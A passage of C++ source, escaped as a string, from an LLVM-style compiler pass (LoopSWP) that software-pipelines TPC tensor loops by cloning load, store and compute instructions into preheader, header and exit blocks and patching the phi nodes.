<< \"----\")\n LOOP_SWP_DEBUG(DebugTag << \"Phi = \" << *Phi)\n // not interested in phis outside Coord / Income-Pred sequences\n if (InstSeqMap.find(Phi) == InstSeqMap.end())\n continue;\n // pick only the load coord phis\n // if a clone is found for the phi, this is a load coord phi\n if (InstCloneMap[BlockType::Header].find(Phi) ==\n InstCloneMap[BlockType::Header].end())\n continue;\n Instruction *PhiIncome =\n cast<Instruction>(PhiNode.getIncomingValueForBlock(HeaderBlock));\n\n // get Store clone for Load Phi\n auto PhiIt = InstCloneMap[BlockType::Header].find(Phi);\n if (PhiIt == InstCloneMap[BlockType::Header].end()) {\n LOOP_SWP_DEBUG(DebugTag\n << \"Improper split with store coord phi, exiting ...\")\n return false;\n }\n auto StorePhiNode = cast<PHINode>(PhiIt->second);\n\n auto It = InstSeqMap.find(PhiIncome);\n if (It == InstSeqMap.end()) {\n // if the incoming value from Header to this Phi does not belong to any\n // InstSeq object, the only known reasons are that it has to be a trailing\n // add.mask instruction or an induction phi update\n bool IsInductionPHI = isInductionPHI(&PhiNode);\n bool IsAddMask =\n TPCOptUtils::isIntrinsicOfType(PhiIncome, Intrinsic::tpc_add_mask);\n if (!(IsInductionPHI || IsAddMask)) {\n LOOP_SWP_DEBUG(DebugTag\n << \"Unexpected trailing phi incoming value, exiting ...\")\n return false;\n }\n // clone this add.mask / induction update to achieve the final split step\n Instruction *InstClone = PhiIncome->clone();\n Instruction *PrevUpdate = cast<Instruction>(getNonConstAddend(PhiIncome));\n auto It = InstCloneMap[BlockType::Header].find(PrevUpdate);\n if (It == InstCloneMap[BlockType::Header].end()) {\n LOOP_SWP_DEBUG(\n DebugTag\n << \"Improper split with penultimate trailing update, exiting ...\")\n return false;\n }\n // replace uses of prev-update with it's clone (a split for store insts)\n InstClone->replaceUsesOfWith(PrevUpdate, It->second);\n // update the incoming value for the store phi (clone phi) with the new\n // inst clone\n StorePhiNode->removeIncomingValue(HeaderBlock, false);\n StorePhiNode->addIncoming(InstClone, HeaderBlock);\n // insert into block\n BBInsertIt = PhiIncome->getIterator();\n if (!insertIntoBlock(BlockType::Header, InstClone, DebugTag)) {\n INSTSEQ_DEBUG(DebugTag\n << \"Final add.mask split insertion failed, exiting ...\")\n return false;\n }\n\n InstCloneMap[BlockType::Header].insert(\n std::make_pair(PhiIncome, InstClone));\n } else {\n // An initial check has ensured only Coord seq objects are considered\n\n // The last split that happened as a result of cloning a load CoordSeq\n // might be affecting the Header income for the Phi's clone\n // This income must have a clone\n auto CloneIt = InstCloneMap[BlockType::Header].find(PhiIncome);\n if (CloneIt == InstCloneMap[BlockType::Header].end()) {\n LOOP_SWP_DEBUG(DebugTag << \"Improper split from load coord\")\n return false;\n }\n // update the incoming value for the store phi (clone phi) with the new\n // inst clone\n StorePhiNode->removeIncomingValue(HeaderBlock, false);\n StorePhiNode->addIncoming(CloneIt->second, HeaderBlock);\n }\n }\n LOOP_SWP_DEBUG(DebugTag << \"Fixing InstSeq Phis ... [End]\")\n\n return true;\n}\n\nbool LoopSWP::createLoadStoreSequences(InstructionVecType &HeaderStoreList,\n InstructionVecType &HeaderLoadList) {\n std::string DebugTag = \"<createLoadStoreSequences> \";\n LOOP_SWP_DEBUG(DebugTag << \"Initializing Pre-Load Sequences ...\")\n for (auto I : HeaderLoadList) {\n LOOP_SWP_DEBUG(DebugTag << \"Load : \" << *I)\n\n auto LoadSeq = new LoadStoreSequence(I, WorkingLoop, BlockType::Header,\n InstSeqMap, InductionInsts);\n InstLoadStoreSeqMap.insert(std::make_pair(I, LoadSeq));\n\n if (!LoadSeq->populateSequence(InstUpdateMap[BlockType::Header])) {\n LOOP_SWP_DEBUG(DebugTag\n << \"LoadSequence construction failed, exiting ...\")\n return false;\n }\n if (LoadSeq->getIncomePredSequence())\n setHasLoadIncome();\n LoadSeq->debugDump();\n }\n\n LOOP_SWP_DEBUG(DebugTag << \"Initializing Pre-Store Sequences ...\")\n for (auto I : HeaderStoreList) {\n LOOP_SWP_DEBUG(DebugTag << \"Store : \" << *I)\n\n auto StoreSeq = new LoadStoreSequence(I, WorkingLoop, BlockType::Header,\n InstSeqMap, InductionInsts);\n InstLoadStoreSeqMap.insert(std::make_pair(I, StoreSeq));\n\n if (!StoreSeq->populateSequence(InstUpdateMap[BlockType::Header])) {\n LOOP_SWP_DEBUG(DebugTag\n << \"StoreSequence construction failed, exiting ...\")\n return false;\n }\n StoreSeq->debugDump();\n }\n\n // check if Induction Phi is part of any InstSeq\n for (auto &PhiNode : HeaderBlock->phis()) {\n if (isInductionPHI(&PhiNode)) {\n Instruction *Phi = cast<Instruction>(&PhiNode);\n auto It = InstSeqMap.find(Phi);\n if (It != InstSeqMap.end()) {\n HasInductionInCoordSeq = true;\n break;\n }\n }\n }\n\n return true;\n}\n\nInstruction *LoopSWP::getClone(Instruction *I, BlockType BT) {\n assert((BT == BlockType::Preheader || BT == BlockType::Exit) &&\n \"Invalid BlockType\");\n\n switch (BT) {\n case BlockType::Preheader:\n return getPreheaderClone(I);\n case BlockType::Exit:\n return getExitClone(I);\n default:\n return nullptr;\n };\n}\n\nvoid LoopSWP::replaceDefsWithClones(Instruction *I, BlockType BT,\n std::string DebugTag) {\n if (isa<PHINode>(I))\n return;\n LOOP_SWP_DEBUG(DebugTag << \"Replacing with clones of operands in :\")\n LOOP_SWP_DEBUG(DebugTag << *I)\n for (unsigned OpIdx = 0; OpIdx < I->getNumOperands(); OpIdx++) {\n if (auto *OpDef = dyn_cast<Instruction>(I->getOperand(OpIdx))) {\n if (OpDef->getParent() != HeaderBlock)\n continue;\n LOOP_SWP_DEBUG(DebugTag << \"Op : \" << *OpDef)\n Instruction *OpClone = getClone(OpDef, BT);\n LOOP_SWP_DEBUG(DebugTag << \"OpClone = \" << *OpClone)\n I->setOperand(OpIdx, OpClone);\n }\n }\n LOOP_SWP_DEBUG(DebugTag << *I)\n LOOP_SWP_DEBUG(DebugTag << \"Operands replaced.\")\n\n return;\n}\n\nInstruction *LoopSWP::createPreheaderCloneBase(Instruction *I,\n InstCloneMapType &CloneMap,\n bool BlockInsertFlag,\n std::string DebugTag) {\n assert(!isa<PHINode>(I) && \"Phi cloning must not be done here\");\n Instruction *PreheaderClone = I->clone();\n CloneMap.insert(std::make_pair(I, PreheaderClone));\n if (BlockInsertFlag) {\n replaceDefsWithClones(PreheaderClone, BlockType::Preheader,\n DebugTag + \"\\t\");\n insertIntoBlock(BlockType::Preheader, PreheaderClone, DebugTag);\n }\n\n return PreheaderClone;\n}\n\nInstruction *LoopSWP::createPreheaderLoadClone(Instruction *LoadInst,\n std::string DebugTag) {\n auto *LoadInstClone = createPreheaderCloneBase(\n LoadInst, InstCloneMap[BlockType::Preheader], false, DebugTag);\n\n // find the Seq object for LoadInst\n auto It = InstLoadStoreSeqMap.find(LoadInst);\n assert(It != InstLoadStoreSeqMap.end() &&\n \"LoadSequence for clone source not found\");\n\n auto LoadSeq =\n new LoadStoreSequence(LoadInstClone, WorkingLoop, BlockType::Header,\n InstSeqMap, InductionInsts);\n bool IsCloned = LoadSeq->clone(It->second, InstCloneMap[BlockType::Preheader],\n InsertedBlockInsts, BBInsertIt, true,\n BlockType::Preheader);\n (void)IsCloned;\n assert(IsCloned && \"LoadSequence construction failed, exiting ...\");\n\n // now insert the load clone into Preheader\n insertIntoBlock(BlockType::Preheader, LoadInstClone, DebugTag);\n\n InstLoadStoreSeqMap.insert(std::make_pair(LoadInstClone, LoadSeq));\n LoadSeq->debugDump();\n\n return LoadInstClone;\n}\n\nInstruction *LoopSWP::createPreheaderClone(Instruction *I,\n std::string DebugTag) {\n LOOP_SWP_DEBUG(DebugTag << \"----\")\n LOOP_SWP_DEBUG(DebugTag << \"Cloning Instruction : \" << *I)\n Instruction *Clone = nullptr;\n if (TPCOptUtils::isLoadTensor(I))\n Clone = createPreheaderLoadClone(I, DebugTag);\n // if computes/stores are to be peeled out of Header, handle them here\n\n if (Clone)\n LOOP_SWP_DEBUG(DebugTag << \"Cloned Instruction = \" << *Clone)\n else\n LOOP_SWP_DEBUG(DebugTag << \"Cloned Instruction = <nullptr>\")\n LOOP_SWP_DEBUG(DebugTag << \"----\")\n\n return Clone;\n}\n\nInstruction *LoopSWP::getPreheaderClone(Instruction *I) {\n auto It = InstCloneMap[BlockType::Preheader].find(I);\n return ((It != InstCloneMap[BlockType::Preheader].end()) ? It->second\n : nullptr);\n}\n\nvoid LoopSWP::createPreheaderClones(std::string DebugTag) {\n auto InsertIt = PreheaderBlock->end();\n InsertIt--;\n\n LOOP_SWP_DEBUG(\n DebugTag\n << \"Cloning loads and corresponding load sequences for Preheader Block\")\n // clone the load sequences, loads and insert them to preheader\n for (unsigned i = 0; i < getLoadPrefetchCount(); i++) {\n LOOP_SWP_DEBUG(DebugTag << \"#\" << i)\n for (auto LoadInst : LoopClusters[i]->HeaderLoadInstsVec) {\n Instruction *LoadClone = createPreheaderClone(LoadInst, DebugTag);\n (void)LoadClone;\n assert(LoadClone && \"Preheader Load cloning failed\");\n }\n }\n\n LOOP_SWP_DEBUG(\n DebugTag\n << \"Cloning trailing add.mask / induction update instructions ...\")\n // populate reverse map PhiClone -> Phi\n for (auto &PhiNode : HeaderBlock->phis()) {\n Instruction *HeaderPhi = cast<Instruction>(&PhiNode);\n LOOP_SWP_DEBUG(DebugTag << \"----\")\n LOOP_SWP_DEBUG(DebugTag << \"HeaderPhi = \" << *HeaderPhi)\n // check if this phi has a clone in Preheader\n auto It = InstCloneMap[BlockType::Preheader].find(HeaderPhi);\n if (It == InstCloneMap[BlockType::Preheader].end())\n continue;\n Instruction *PreheaderPhi = It->second;\n // add an entry in the reverse map (ClonePhi -> Phi)\n PreToHeaderPhiMap.insert(std::make_pair(PreheaderPhi, HeaderPhi));\n LOOP_SWP_DEBUG(DebugTag << \"PreheaderPhi = \" << *PreheaderPhi)\n // This will be useful while establishing similarity b/w a Preheader Phi\n // and it's update inst (by refering to HeaderPhi type)\n\n // if this Phi is of AddMask type, get the N'th (N = PrefetchCount) update\n // add_mask instruction and clone it\n bool IsInductionPHI = isInductionPHI(&PhiNode);\n bool IsAddMask =\n TPCOptUtils::isPhiOfType(PhiNode, HeaderBlock, Intrinsic::tpc_add_mask);\n if (!(IsInductionPHI || IsAddMask)) {\n LOOP_SWP_DEBUG(DebugTag << \"Non AddMask/Induction Phi, continuing ...\")\n continue;\n }\n Instruction *NthUpdate = nullptr;\n if (IsAddMask) {\n NthUpdate =\n getNthUpdate(HeaderPhi, getLoadPrefetchCount(), BlockType::Header);\n } else { // Induction Phi\n assert(getLoadPrefetchCount() == getNumClusters() &&\n \"If CoordSeq has Induction Phis, all cluster's loads are to be \"\n \"prefetched\");\n NthUpdate =\n cast<Instruction>(PhiNode.getIncomingValueForBlock(HeaderBlock));\n }\n assert(NthUpdate &&\n \"Trailing add_mask / induction update instruction not found!\");\n Instruction *NthUpdateClone = createPreheaderCloneBase(\n NthUpdate, InstCloneMap[BlockType::Preheader], true, DebugTag);\n\n setPhiInfo(NthUpdateClone, PreheaderPhi,\n InstToAlphaMap[BlockType::Preheader], BlockType::Preheader);\n }\n\n LOOP_SWP_DEBUG(DebugTag << \"Collecting phi updates for Preheader block\")\n if (!collectAlphaUpdates(BlockType::Preheader)) {\n LOOP_SWP_DEBUG(DebugTag << \"Phi update collection failed, exiting ...\")\n assert(false && \"Phi update collection failed ...\");\n }\n\n return;\n}\n\nvoid LoopSWP::patchHeaderPhisWithPreheaderIncome(std::string DebugTag) {\n LOOP_SWP_DEBUG(\n DebugTag << \"Patching the header phis with preheader income ...\")\n for (auto &PhiNode : HeaderBlock->phis()) {\n Instruction *HeaderPhi = cast<Instruction>(&PhiNode);\n auto It = InstCloneMap[BlockType::Preheader].find(HeaderPhi);\n if (It == InstCloneMap[BlockType::Preheader].end())\n continue;\n\n LOOP_SWP_DEBUG(DebugTag << \"----\")\n LOOP_SWP_DEBUG(DebugTag << \"Phi = \" << *HeaderPhi)\n LOOP_SWP_DEBUG(DebugTag << \"PhiClone = \" << *It->second)\n Instruction *LastUpdate = getLastUpdate(It->second, BlockType::Preheader);\n assert(LastUpdate && \"Instruction update not found!\");\n\n BasicBlockVecType PhiBlocks(PhiNode.block_begin(), PhiNode.block_end());\n for (BasicBlock *BB : PhiBlocks)\n if (BB != HeaderBlock)\n PhiNode.removeIncomingValue(BB, false);\n\n // add the new incoming value from Preheader block\n PhiNode.addIncoming(LastUpdate, PreheaderBlock);\n // Header incoming value should be reset after the new load clones are\n // added at the end of Header block\n\n LOOP_SWP_DEBUG(DebugTag << \"Phi' = \" << *HeaderPhi)\n }\n}\n\n// TODO: strategy needs to be changed based on the unroll factor, the number of\n// loads, stores, compute etc.\nvoid LoopSWP::modifyPreheader() {\n std::string DebugTag = \"<modifyPreheader> \";\n\n LOOP_SWP_DEBUG(DebugTag << \"==== Modifying PreheaderBlock ====\")\n\n BBPhiInsertIt = PreheaderBlock->begin();\n BBInsertIt = PreheaderBlock->end();\n BBInsertIt--;\n\n // create coord clones for each of the loads in the Header block\n createPreheaderClones(DebugTag);\n\n patchHeaderPhisWithPreheaderIncome(DebugTag);\n\n LOOP_SWP_DEBUG(DebugTag << \"==== Preheader modification done ====\")\n\n return;\n}\n\nInstruction *LoopSWP::createHeaderLoadPhi(Instruction *LoadInst, int ClusterIdx,\n int LoadIdx, std::string DebugTag) {\n LOOP_SWP_DEBUG(DebugTag << \"Creating Header Load Phi ...\")\n\n auto PhiInsertIt = HeaderBlock->begin();\n PhiInsertIt++;\n int N = getNumClusters();\n int X = getLoadPrefetchCount();\n\n // get the next cluster's avatar of the current LoadInst\n Instruction *LoadInstNext =\n LoopClusters[ClusterIdx + (N - X)]->HeaderLoadInstsVec[LoadIdx];\n LOOP_SWP_DEBUG(DebugTag << \"Header Income = \" << *LoadInstNext)\n\n Instruction *PreLoadInst = getPreheaderClone(LoadInst);\n LOOP_SWP_DEBUG(DebugTag << \"Preheader Income = \" << *PreLoadInst)\n\n PHINode *LoadPhiNode = nullptr;\n\n if (getHasLoadIncome() && (ClusterIdx == X - 1)) {\n // If a load income/pred is present, it means the original Header Block\n // had a Phi node for Loads\n // This condition decides which of the peeled load should be connected with\n // the existing Phi node (without creating a new one).\n LoadPhiNode = cast<PHINode>(InstToAlphaMap[BlockType::Header][LoadInst]);\n // clear the current incoming values\n LoadPhiNode->removeIncomingValue(HeaderBlock, false);\n LoadPhiNode->removeIncomingValue(PreheaderBlock, false);\n // mark as inserted\n InsertedBlockInsts.insert(cast<Instruction>(LoadPhiNode));\n } else {\n // create a new phi node\n LoadPhiNode = PHINode::Create(cast<Value>(LoadInst)->getType(),\n 2); // 2 incoming values\n }\n LoadPhiNode->addIncoming(LoadInstNext, HeaderBlock);\n LoadPhiNode->addIncoming(PreLoadInst, PreheaderBlock);\n\n Instruction *LoadPhiInst = cast<Instruction>(LoadPhiNode);\n insertIntoBlock(BlockType::Header, LoadPhiInst, DebugTag);\n setPhiInfo(LoadInstNext, LoadPhiInst, InstToAlphaMap[BlockType::Header],\n BlockType::Header);\n\n LOOP_SWP_DEBUG(DebugTag << \"New Header Load Phi = \" << *LoadPhiInst);\n\n return LoadPhiInst;\n}\n\nvoid LoopSWP::modifyHeaderBlock() {\n std::string DebugTag = \"<modifyHeaderBlock> \";\n LOOP_SWP_DEBUG(DebugTag << \"==== Modifying HeaderBlock ====\")\n\n BBPhiInsertIt = HeaderBlock->begin();\n BBInsertIt = HeaderBlock->getFirstInsertionPt();\n\n int N = getNumClusters();\n int X = getLoadPrefetchCount();\n\n // clear the record of instructions inserted into the preheader block\n InsertedBlockInsts.clear();\n\n LOOP_SWP_DEBUG(\n DebugTag << \"\\nPatching the load instructions for Clusters 0 .. \" << X - 1\n << \"\\n\")\n for (int i = 0; i < X; i++) {\n LOOP_SWP_DEBUG(DebugTag << \"---- Cluster #\" << i << \" ----\")\n for (unsigned l = 0; l < LoopClusters[i]->HeaderLoadInstsVec.size(); l++) {\n Instruction *LoadInst = LoopClusters[i]->HeaderLoadInstsVec[l];\n LOOP_SWP_DEBUG(DebugTag << \"----\")\n LOOP_SWP_DEBUG(DebugTag << \"LoadInst : \" << *LoadInst)\n\n Instruction *LoadPhi = createHeaderLoadPhi(LoadInst, i, l, DebugTag);\n TPCOptUtils::replaceUsesOfWith(\n LoadInst, LoadPhi,\n [&](Instruction *UserInst) -> bool {\n auto It = InsertedBlockInsts.find(UserInst);\n return (!TPCOptUtils::isIntrinsicOfType(UserInst,\n Intrinsic::tpc_ld_g) &&\n It == InsertedBlockInsts.end());\n },\n DebugTag + \"\\t\");\n\n InstCloneMap[BlockType::Header].insert(std::make_pair(LoadInst, LoadPhi));\n }\n }\n\n LOOP_SWP_DEBUG(DebugTag << \"\\nPatching the load instructions for Clusters \"\n << X << \" .. \" << N - 1 << \"\\n\")\n for (int i = X; i < N; i++) {\n // patch the last load in Header\n for (unsigned l = 0; l < LoopClusters[i]->HeaderLoadInstsVec.size(); l++) {\n Instruction *LoadInst = LoopClusters[i]->HeaderLoadInstsVec[l];\n LOOP_SWP_DEBUG(DebugTag << \"----\")\n LOOP_SWP_DEBUG(DebugTag << \"LoadInst : \" << *LoadInst)\n BasicBlock *BB = LoadInst->getParent();\n\n Instruction *LoadInstReplace = LoopClusters[i - X]->HeaderLoadInstsVec[l];\n LOOP_SWP_DEBUG(DebugTag << \"Replacement Instruction = \"\n << *LoadInstReplace)\n TPCOptUtils::replaceUsesOfWith(\n LoadInst, LoadInstReplace,\n [&](Instruction *UserInst) -> bool {\n if (BB != UserInst->getParent())\n return false;\n auto It = InsertedBlockInsts.find(UserInst);\n return (It == InsertedBlockInsts.end());\n },\n DebugTag + \"\\t\");\n InstCloneMap[BlockType::Header].insert(\n std::make_pair(LoadInst, LoadInstReplace));\n }\n }\n\n return;\n}\n\nvoid LoopSWP::collectExitLCSSAPhis(InstructionSetType &LcssaPhis,\n std::string DebugTag) {\n LOOP_SWP_DEBUG(DebugTag << \"Collecting Exit LCSSA Phis ...\")\n\n for (auto &PhiNode : ExitBlock->phis()) {\n Instruction *I = cast<Instruction>(&PhiNode);\n LOOP_SWP_DEBUG(DebugTag << \"\\t\" << *I)\n\n // get the incoming value from Header\n Instruction *HeaderIncome =\n cast<Instruction>(PhiNode.getIncomingValueForBlock(HeaderBlock));\n LOOP_SWP_DEBUG(DebugTag << \"Reference HeaderIncome = \")\n LOOP_SWP_DEBUG(DebugTag << *HeaderIncome)\n if (isa<PHINode>(HeaderIncome)) {\n // with LoadPrefetchCount = NumClusters, the ExitBlock Phi's header income\n // value can be a Phi node in the HeaderBlock\n PHINode *HeaderIncomePhiNode = cast<PHINode>(HeaderIncome);\n HeaderIncome = cast<Instruction>(\n HeaderIncomePhiNode->getIncomingValueForBlock(HeaderBlock));\n LOOP_SWP_DEBUG(DebugTag << \"Reference HeaderIncome' = \")\n LOOP_SWP_DEBUG(DebugTag << *HeaderIncome)\n }\n\n Instruction *HeaderPhi = nullptr;\n // Accum type Phi\n if (getIsAccumInst(HeaderIncome)) {\n LOOP_SWP_DEBUG(DebugTag << \"\\tAccumPhi\")\n // get the Header accum phi\n HeaderPhi = AccumToPhiMap[BlockType::Header][HeaderIncome];\n setIsAccumInst(I, I, BlockType::Exit);\n } else {\n LOOP_SWP_DEBUG(DebugTag << \"\\tNon-AccumPhi\")\n HeaderPhi = InstToAlphaMap[BlockType::Header][HeaderIncome];\n setPhiInfo(I, I, InstToAlphaMap[BlockType::Exit], BlockType::Exit);\n }\n\n assert(HeaderPhi && \"Header Phi Cannot be nullptr\");\n LcssaPhis.insert(I);\n InstCloneMap[BlockType::Exit].insert(std::make_pair(HeaderPhi, I));\n\n // if the LCSSA Phi node doesn't already have an income value from\n // preheader, add corresponding income value in the HeaderPhi\n bool HasPreheaderIncome = false;\n BasicBlockVecType PhiBlocks(PhiNode.block_begin(), PhiNode.block_end());\n for (BasicBlock *BB : PhiBlocks) {\n if (BB == PreheaderBlock) {\n HasPreheaderIncome = true;\n break;\n }\n }\n if (!HasPreheaderIncome) {\n LOOP_SWP_DEBUG(\n DebugTag\n << \"LCSSA node does not have an incoming value from PreheaderBlock\")\n Value *PreheaderIncome =\n cast<PHINode>(HeaderPhi)->getIncomingValueForBlock(PreheaderBlock);\n LOOP_SWP_DEBUG(DebugTag << \"Inserting value : \" << *PreheaderIncome)\n PhiNode.addIncoming(PreheaderIncome, PreheaderBlock);\n }\n }\n\n return;\n}\n\nvoid LoopSWP::updateLcssaPhiUsers(InstructionSetType &LcssaPhis,\n std::string DebugTag) {\n LOOP_SWP_DEBUG(DebugTag << \"Updating Exit LCSSA Phi Users\")\n\n for (auto PhiInst : LcssaPhis) {\n LOOP_SWP_DEBUG(DebugTag << \"----\\n\" << *PhiInst)\n LOOP_SWP_DEBUG(DebugTag\n << (getIsAccumInst(PhiInst, BlockType::Exit) ? \"\\tAccumPhi\"\n : \"\\tCoordPhi\"))\n // TODO: use getter\n auto It = PhiLastUpdateMap[BlockType::Exit].find(PhiInst);\n assert(It != PhiLastUpdateMap[BlockType::Exit].end() &&\n \"Last update instruction not found\");\n Instruction *Last = It->second;\n LOOP_SWP_DEBUG(DebugTag << \"Last Update = \" << *Last)\n if (Last == PhiInst) // there is no update coord inst\n continue;\n\n // replace uses outside the exit block\n UserSetType UserSet;\n for (User *U : PhiInst->users())\n UserSet.insert(U);\n LOOP_SWP_DEBUG(DebugTag << \"Users : {\")\n for (const auto &UserObj : UserSet) {\n Instruction *UserInst = cast<Instruction>(UserObj);\n LOOP_SWP_DEBUG(DebugTag << \"\\t--\\n\" << *UserInst)\n LOOP_SWP_DEBUG(DebugTag << \"\\tParent = \"\n << UserInst->getParent()->getName())\n\n // don't change any other use in the exit block, except those that were\n // not inserted in this pass\n if (UserInst->getParent() == ExitBlock &&\n InsertedBlockInsts.find(UserInst) != InsertedBlockInsts.end())\n continue;\n LOOP_SWP_DEBUG(DebugTag << \"Replacing use ...\")\n UserInst->replaceUsesOfWith(PhiInst, Last);\n }\n LOOP_SWP_DEBUG(DebugTag << \"}\")\n }\n return;\n}\n\nInstruction *LoopSWP::createExitCloneBase(Instruction *I,\n InstCloneMapType &CloneMap,\n bool BlockInsertFlag,\n std::string DebugTag) {\n Instruction *ExitClone = I->clone();\n CloneMap.insert(std::make_pair(I, ExitClone));\n if (BlockInsertFlag) {\n // re-adjust PHI Insertion point to the latest first non-PHI position\n if (isa<PHINode>(I))\n BBPhiInsertIt = ExitBlock->getFirstInsertionPt();\n else\n replaceDefsWithClones(ExitClone, BlockType::Exit, DebugTag + \"\\t\");\n insertIntoBlock(BlockType::Exit, ExitClone, DebugTag);\n }\n\n return ExitClone;\n}\n\nInstruction *LoopSWP::createExitLoadStoreInstClone(Instruction *I,\n std::string DebugTag) {\n auto *InstClone = createExitCloneBase(I, InstCloneMap[BlockType::Preheader],\n false, DebugTag);\n\n // find the Seq object for I\n auto It = InstLoadStoreSeqMap.find(I);\n assert(It != InstLoadStoreSeqMap.end() &&\n \"Load/Store Sequence for clone source not found\");\n\n auto LoadStoreSeq = new LoadStoreSequence(\n InstClone, WorkingLoop, BlockType::Header, InstSeqMap, InductionInsts);\n bool IsCloned = LoadStoreSeq->clone(It->second, InstCloneMap[BlockType::Exit],\n InsertedBlockInsts, BBInsertIt, true,\n BlockType::Exit);\n (void)IsCloned;\n assert(IsCloned && \"Load/Store Sequence construction failed, exiting ...\");\n\n // TODO: not necessary after income-pred seq is supported for stores\n if (TPCOptUtils::isStoreTensor(I))\n replaceDefsWithClones(InstClone, BlockType::Exit, DebugTag + \"\\t\");\n\n // now insert the load clone into Preheader\n insertIntoBlock(BlockType::Exit, InstClone, DebugTag);\n\n InstLoadStoreSeqMap.insert(std::make_pair(InstClone, LoadStoreSeq));\n LoadStoreSeq->debugDump();\n\n return InstClone;\n}\n\nInstruction *LoopSWP::createExitAccumClone(Instruction *I,\n std::string DebugTag) {\n Instruction *ExitAccumInst =\n createExitCloneBase(I, InstCloneMap[BlockType::Exit], true, DebugTag);\n // mark as accum inst\n Instruction *HeaderAccumPhi = AccumToPhiMap[BlockType::Header][I];\n Instruction *ExitAccumPhi = getExitClone(HeaderAccumPhi);\n setIsAccumInst(ExitAccumInst, ExitAccumPhi, BlockType::Exit);\n\n return ExitAccumInst;\n}\n\nInstruction *LoopSWP::createExitClone(Instruction *I, std::string DebugTag) {\n LOOP_SWP_DEBUG(DebugTag << \"----\")\n LOOP_SWP_DEBUG(DebugTag << \"Cloning Instruction : \" << *I)\n Instruction *Clone = nullptr;\n if (isa<PHINode>(I))\n Clone =\n createExitCloneBase(I, InstCloneMap[BlockType::Exit], true, DebugTag);\n else if (TPCOptUtils::isLoadTensor(I) || TPCOptUtils::isStoreTensor(I))\n Clone = createExitLoadStoreInstClone(I, DebugTag);\n else if (getIsAccumInst(I))\n Clone = createExitAccumClone(I, DebugTag);\n else\n Clone =\n createExitCloneBase(I, InstCloneMap[BlockType::Exit], true, DebugTag);\n\n if (Clone)\n LOOP_SWP_DEBUG(DebugTag << \"Cloned Instruction = \" << *Clone)\n else\n LOOP_SWP_DEBUG(DebugTag << \"Cloned Instruction = <nullptr>\")\n LOOP_SWP_DEBUG(DebugTag << \"----\")\n\n return Clone;\n}\n\nInstruction *LoopSWP::getExitClone(Instruction *I) {\n InstCloneMapType ExitCloneMap;\n ExitCloneMap = InstCloneMap[BlockType::Exit];\n\n auto It = ExitCloneMap.find(I);\n return ((It != ExitCloneMap.end()) ? It->second : nullptr);\n}\n\nvoid LoopSWP::createExitLoadInsts(unsigned ClusterIdx, std::string DebugTag) {\n LOOP_SWP_DEBUG(DebugTag << \"Create Load Clones\")\n for (unsigned l = 0; l < LoopClusters[ClusterIdx]->HeaderLoadInstsVec.size();\n l++) {\n LOOP_SWP_DEBUG(DebugTag << \"--\")\n Instruction *LoadInst = LoopClusters[ClusterIdx]->HeaderLoadInstsVec[l];\n LOOP_SWP_DEBUG(DebugTag << \"LoadInst = \" << *LoadInst)\n Instruction *HeaderClone = InstCloneMap[BlockType::Header][LoadInst];\n LOOP_SWP_DEBUG(DebugTag << \"HeaderClone = \" << *HeaderClone)\n\n // TODO : required?\n if (getExitClone(HeaderClone))\n continue;\n\n createExitClone(HeaderClone, DebugTag);\n }\n return;\n}\n\nvoid LoopSWP::createExitOutInsts(unsigned ClusterIdx, std::string DebugTag) {\n LOOP_SWP_DEBUG(DebugTag << (getIsAccumulationLoop() ? \"Create Accum Clones\"\n : \"Create Store Clones\"))\n\n if (getIsAccumulationLoop()) {\n for (unsigned s = 0;\n s < LoopClusters[ClusterIdx]->HeaderAccumInstsVec.size(); s++) {\n LOOP_SWP_DEBUG(DebugTag << \"--\")\n Instruction *OutInst = LoopClusters[ClusterIdx]->HeaderAccumInstsVec[s];\n LOOP_SWP_DEBUG(DebugTag << \"OutInst = \" << *OutInst)\n\n // The accum insts could be reaching as lcssa phi nodes\n if (getExitClone(OutInst))\n continue;\n\n createExitClone(OutInst, DebugTag);\n }\n } else {\n for (unsigned s = 0;\n s < LoopClusters[ClusterIdx]->HeaderStoreInstsVec.size(); s++) {\n LOOP_SWP_DEBUG(DebugTag << \"--\")\n Instruction *OutInst = LoopClusters[ClusterIdx]->HeaderStoreInstsVec[s];\n LOOP_SWP_DEBUG(DebugTag << \"OutInst = \" << *OutInst)\n\n // The accum insts could be reaching as lcssa phi nodes\n if (getExitClone(OutInst))\n continue;\n\n createExitClone(OutInst, DebugTag);\n }\n }\n return;\n}\n\nvoid LoopSWP::createExitComputeInsts(unsigned ClusterIdx,\n std::string DebugTag) {\n LOOP_SWP_DEBUG(DebugTag << \"Create compute Clones\")\n for (unsigned c = 0;\n c < LoopClusters[ClusterIdx]->HeaderComputeInstsVec.size(); c++) {\n LOOP_SWP_DEBUG(DebugTag << \"--\")\n Instruction *ComputeInst =\n LoopClusters[ClusterIdx]->HeaderComputeInstsVec[c];\n LOOP_SWP_DEBUG(DebugTag << \"ComputeInst = \" << *ComputeInst)\n\n createExitClone(ComputeInst, DebugTag);\n }\n return;\n}\n\nvoid LoopSWP::modifyExitBlock() {\n std::string DebugTag = \"<modifyExitBlock> \";\n\n LOOP_SWP_DEBUG(DebugTag << \"==== Modifying ExitBlock ====\")\n\n BBPhiInsertIt = ExitBlock->begin();\n BBInsertIt = ExitBlock->getFirstInsertionPt();\n\n int N = getNumClusters();\n\n // if the exit block already has lcssa phi nodes, connect them with the\n // header phi nodes\n //\n // set of all lcssa coords found in ExitBlock\n InstructionSetType LcssaPhis;\n collectExitLCSSAPhis(LcssaPhis, DebugTag);\n\n // clear the record of instructions inserted into the exit block\n InsertedBlockInsts.clear();\n InsertedBlockInsts.insert(LcssaPhis.begin(), LcssaPhis.end());\n\n for (int i = 0; i < N; i++) {\n LOOP_SWP_DEBUG(DebugTag << \"---- Cluster #\" << i << \" ----\")\n createExitLoadInsts(i, DebugTag);\n\n createExitComputeInsts(i, DebugTag);\n\n createExitOutInsts(i, DebugTag);\n }\n\n unsigned X = getLoadPrefetchCount();\n LOOP_SWP_DEBUG(DebugTag << \"Cloning trailing add.mask instructions ...\")\n // populate reverse map PhiClone -> Phi\n for (auto &PhiNode : HeaderBlock->phis()) {\n Instruction *HeaderPhi = cast<Instruction>(&PhiNode);\n LOOP_SWP_DEBUG(DebugTag << \"----\")\n LOOP_SWP_DEBUG(DebugTag << \"HeaderPhi = \" << *HeaderPhi)\n // check if this phi has a clone in Preheader\n auto It = InstCloneMap[BlockType::Exit].find(HeaderPhi);\n if (It == InstCloneMap[BlockType::Exit].end())\n continue;\n // add an entry in the reverse map (ClonePhi -> Phi)\n ExitToHeaderPhiMap.insert(std::make_pair(It->second, HeaderPhi));\n LOOP_SWP_DEBUG(DebugTag << 